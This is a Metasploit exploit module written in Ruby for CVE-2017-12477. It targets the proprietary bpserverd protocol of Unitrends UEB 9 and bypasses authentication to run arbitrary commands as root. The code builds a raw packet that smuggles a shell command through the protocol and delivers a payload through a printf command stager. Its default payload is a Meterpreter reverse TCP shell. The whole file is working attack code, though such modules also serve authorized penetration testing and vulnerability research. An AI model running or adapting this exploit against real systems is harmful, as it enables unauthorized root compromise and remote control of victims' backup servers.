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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Unitrends UEB bpserverd authentication bypass RCE',
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      'Description'    => %q{
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       It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
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       has an issue in which its authentication can be bypassed.  A remote attacker could use this
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       issue to execute arbitrary commands with root privilege on the target system.
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      },
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      'Author'         =>
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        [
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          'Jared Arave',  # @iotennui
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          'Cale Smith',   # @0xC413
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          'Benny Husted'  # @BennyHusted
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        ],
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      'License'        => MSF_LICENSE,
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      'Platform'       => 'linux',
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      'Arch' => [ARCH_X86],
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      'CmdStagerFlavor' => [ 'printf' ],
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      'References'     =>
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        [
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          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
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          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
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          ['CVE', '2017-12477'],
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        ],
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      'Targets'        =>
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        [
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          [ 'UEB 9.*', { } ]
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' => {
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          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
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          'SSL' => false
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        },
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      'DisclosureDate'  => '2017-08-08',
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      'DefaultTarget'   => 0))
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    register_options([
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        Opt::RPORT(1743)
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      ])
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    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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  end
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  def check
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    s1 = connect(global = false)
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    buf1  = s1.get_once(-1).to_s
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    #parse out the bpd port returned
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    bpd_port = buf1[-8..-3].to_i
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    #check if it's a valid port number (1-65534)
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    if bpd_port && bpd_port >= 1 && bpd_port <= 65535
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      Exploit::CheckCode::Detected
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    else
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      Exploit::CheckCode::Safe
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    end
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  end
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  def execute_command(cmd, opts = {})
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    #append a comment, ignore everything after our cmd
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    cmd = cmd + " #"
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    # build the attack buffer...
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    command_len = cmd.length + 3
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    packet_len = cmd.length + 23
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    data =  "\xa5\x52\x00\x2d"
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    data << "\x00\x00\x00"
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    data << packet_len
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    data << "\x00\x00\x00"
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    data << "\x01"
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    data << "\x00\x00\x00"
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    data << "\x4c"
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    data << "\x00\x00\x00"
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    data << command_len
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    data << cmd
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    data << "\x00\x00\x00"
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    begin
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      print_status("Connecting to xinetd for bpd port...")
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      s1 = connect(global = false)
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      buf1  = s1.get_once(-1).to_s
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      #parse out the bpd port returned, we will connect back on this port to send our cmd
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      bpd_port = buf1[-8..-3].to_i
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      print_good("bpd port received: #{bpd_port}")
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      vprint_status("Connecting to #{bpd_port}")
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      s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
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      vprint_good('Connected!')
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      print_status('Sending command buffer to xinetd')
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      s1.put(data)
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      s2.get_once(-1,1).to_s
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      disconnect(s1)
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      disconnect(s2)
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    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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      fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
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    end
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  end
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  def exploit
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    print_status("#{peer} - pwn'ng ueb 9....")
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    execute_cmdstager(:linemax => 200)
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  end
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end
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